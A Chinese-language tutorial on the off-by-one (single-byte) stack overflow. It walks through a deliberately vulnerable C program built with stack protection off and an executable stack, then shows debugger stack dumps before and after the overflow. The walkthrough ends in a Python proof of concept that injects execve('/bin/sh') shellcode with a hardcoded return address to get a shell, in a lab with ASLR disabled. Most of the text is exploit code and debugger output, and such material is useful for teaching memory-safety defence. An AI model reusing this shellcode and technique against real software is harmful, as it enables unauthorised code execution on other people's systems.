ubuntu-16.04.5(X86)
IDA7.0
1.什么是off by one?又称1字节溢出。
源字符串长度等于目标缓冲区长度时,将源字符串复制到目标缓冲区可能会导致off by one。
当源字符串长度等于目标缓冲区长度时,NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低位(1字节),这可能导致任意的代码执行。
1.示例代码:
1 #include <stdio.h>
2 #include <string.h>
3 void foo(char* arg);
4 void bar(char* arg);
5 void foo(char* arg) {
6 bar(arg); /* [1] */
7 }
8 void bar(char* arg) {
9 char buf[256];
10 strcpy(buf, arg); /* [2] */
11 }
12 int main(int argc, char *argv[]) {
13 if(strlen(argv[1])>256) { /* [3] */
14 printf("Attempted Buffer Overflow\n");
15 fflush(stdout);
16 return -1;
17 }
18 foo(argv[1]); /* [4] */
19 return 0;
20 }
编译生成目标文件:
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
上述示例代码的第[2]行是可能发生off by one溢出的地方。目标缓冲区长度为256,因此长度为256字节的源字符串可能导致任意代码执行。
2.如何产生任意代码执行?动态调试,如下图1所示,拷贝字符串前栈情况。
图1
如果调用foo者的EBP位于目标缓冲区之上,则在strcpy之后,单个NULL(0x00)字节将覆盖调用者EBP的最后一个字节,如图2所示。
图2
构造poc
//偏移
0xBFFFEF00-0xBFFFEE58+0x4=0xAC
python -c "print 'A' * 172 + 'B' * 4 + 'C' * 80"
执行strcpy之后,存储在目标缓冲区buf之上的EBP被一个NULL(0x00)字节所覆盖,ebp从0xBFFFEF64变为0xBFFFEF00(可对比图1图2)。从调试器堆栈布局我们可以看到堆栈位置0xBFFFEF00是目标缓冲区buf的一部分。
//拷贝前栈
BFFFEE58 F63D4E2E
BFFFEE5C B7E0CF12 libc_2.23.so:B7E0C
BFFFEE60 000008EA
BFFFEE64 B7E16618 libc_2.23.so:B7E16
BFFFEE68 B7E15DC8 libc_2.23.so:B7E15
BFFFEE6C 07B1EA71
BFFFEE70 B7FF7AC4 ld_2.23.so:__get_c
BFFFEE74 BFFFEF20 [stack]:BFFFEF20
BFFFEE78 B7FF59F3 ld_2.23.so:__get_c
BFFFEE7C B7FD5470 debug003:B7FD5470
BFFFEE80 00000000
BFFFEE84 00000000
BFFFEE88 B7FFF000 ld_2.23.so:B7FFF00
BFFFEE8C B7FFFC08 ld_2.23.so:_r_debu
BFFFEE90 00000000
BFFFEE94 00000000
BFFFEE98 00000000
BFFFEE9C BFFFEF2C [stack]:BFFFEF2C
BFFFEEA0 B7FE3FC9 ld_2.23.so:_dl_rtl
BFFFEEA4 00000000
BFFFEEA8 B7FFFAD0 ld_2.23.so:_r_debu
BFFFEEAC BFFFEF28 [stack]:BFFFEF28
BFFFEEB0 BFFFEF70 [stack]:BFFFEF70
BFFFEEB4 B7FE4B4B ld_2.23.so:_dl_rtl
BFFFEEB8 08048220 LOAD:08048220
BFFFEEBC BFFFEF28 [stack]:BFFFEF28
BFFFEEC0 B7FFFA74 ld_2.23.so:_r_debu
BFFFEEC4 00000001
BFFFEEC8 B7FD54A0 debug003:B7FD54A0
BFFFEECC 00000001
BFFFEED0 00000000
BFFFEED4 00000001
BFFFEED8 B7FFF918 ld_2.23.so:_r_debu
BFFFEEDC 00F0B5FF
BFFFEEE0 BFFFEF1E [stack]:BFFFEF1E
BFFFEEE4 00000001
BFFFEEE8 000000C2
BFFFEEEC B7E996BB libc_2.23.so:strer
BFFFEEF0 BFFFEF1E [stack]:BFFFEF1E
BFFFEEF4 BFFFF020 [stack]:BFFFF020
BFFFEEF8 000000E0
BFFFEEFC 00000000
BFFFEF00 B7FFF000 ld_2.23.so:B7FFF00
BFFFEF04 B7FFF918 ld_2.23.so:_r_debu
BFFFEF08 BFFFEF20 [stack]:BFFFEF20
BFFFEF0C 08048293 LOAD:aLibcStartMai
BFFFEF10 00000000
BFFFEF14 BFFFEFB4 [stack]:BFFFEFB4
BFFFEF18 B7FBB000 libc_2.23.so:B7FBB
BFFFEF1C 0000FF17
BFFFEF20 FFFFFFFF
BFFFEF24 0000002F
BFFFEF28 B7E15DC8 libc_2.23.so:B7E15
BFFFEF2C B7FD51B0 debug003:B7FD51B0
BFFFEF30 00008000
BFFFEF34 08049FF4 .got.plt:_GLOBAL_O
BFFFEF38 00000002
BFFFEF3C 08048341 _init_proc+29
BFFFEF40 00000002
BFFFEF44 00000000
BFFFEF48 08049FF4 .got.plt:_GLOBAL_O
BFFFEF4C 08048531 __libc_csu_init+21
BFFFEF50 B7FBB000 libc_2.23.so:B7FBB
BFFFEF54 B7FBB000 libc_2.23.so:B7FBB
BFFFEF58 BFFFEF64 [stack]:BFFFEF64
BFFFEF5C 08048475 foo+11
BFFFEF60 BFFFF20D [stack]:BFFFF20D
BFFFEF64 BFFFEF78 [stack]:BFFFEF78
BFFFEF68 080484F9 main+62
BFFFEF6C BFFFF20D [stack]:BFFFF20D
//拷贝后栈
BFFFEE58 41414141
BFFFEE5C 41414141
BFFFEE60 41414141
BFFFEE64 41414141
BFFFEE68 41414141
BFFFEE6C 41414141
BFFFEE70 41414141
BFFFEE74 41414141
BFFFEE78 41414141
BFFFEE7C 41414141
BFFFEE80 41414141
BFFFEE84 41414141
BFFFEE88 41414141
BFFFEE8C 41414141
BFFFEE90 41414141
BFFFEE94 41414141
BFFFEE98 41414141
BFFFEE9C 41414141
BFFFEEA0 41414141
BFFFEEA4 41414141
BFFFEEA8 41414141
BFFFEEAC 41414141
BFFFEEB0 41414141
BFFFEEB4 41414141
BFFFEEB8 41414141
BFFFEEBC 41414141
BFFFEEC0 41414141
BFFFEEC4 41414141
BFFFEEC8 41414141
BFFFEECC 41414141
BFFFEED0 41414141
BFFFEED4 41414141
BFFFEED8 41414141
BFFFEEDC 41414141
BFFFEEE0 41414141
BFFFEEE4 41414141
BFFFEEE8 41414141
BFFFEEEC 41414141
BFFFEEF0 41414141
BFFFEEF4 41414141
BFFFEEF8 41414141
BFFFEEFC 41414141
BFFFEF00 41414141
BFFFEF04 42424242
BFFFEF08 43434343
BFFFEF0C 43434343
BFFFEF10 43434343
BFFFEF14 43434343
BFFFEF18 43434343
BFFFEF1C 43434343
BFFFEF20 43434343
BFFFEF24 43434343
BFFFEF28 43434343
BFFFEF2C 43434343
BFFFEF30 43434343
BFFFEF34 43434343
BFFFEF38 43434343
BFFFEF3C 43434343
BFFFEF40 43434343
BFFFEF44 43434343
BFFFEF48 43434343
BFFFEF4C 43434343
BFFFEF50 43434343
BFFFEF54 43434343
BFFFEF58 BFFFEF00 [stack]:BFFFEF00
BFFFEF5C 08048475 foo+11
BFFFEF60 BFFFF20D [stack]:BFFFF20D
BFFFEF64 BFFFEF78 [stack]:BFFFEF78
BFFFEF68 080484F9 main+62
BFFFEF6C BFFFF20D [stack]:BFFFF20D
3.根据栈回溯,可以控制这个堆栈位置(0xBFFFEF00),因此他控制指令指针(eip )使用他可以实现任意代码执行,如图3图4。
图3
图4
leave指令相当执行了两条指令 mov ebp, esp; pop ebp,而EPB后面刚好是函数返回地址,再执行ret指令时EIP就指向了攻击者可以控制返回地址。
4.Poc编写获取shell
1 #!/usr/bin/env python
2 import struct
3 from subprocess import call
4 #execve(/bin/sh)
5 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
6 ret_addr = 0xBFFFEF18
7 def conv(num):
8 return struct.pack("<I",num)
9 buf = "A" * 172
10 buf += conv(ret_addr)
11 buf += "\x90" * 30
12 buf += shellcode
13 buf += "\x90" * 22
14 print "Calling program"
15 call(["./vuln", buf])
图5
图5所示,成功获取shell。
1.如果堆栈是随机的就不能成功利用,每次大小都是不一样的,很难固定shellcode的位置,所以关闭了ASLR。还有就是被溢出的地址必须得是buf的地址才能有机会成功。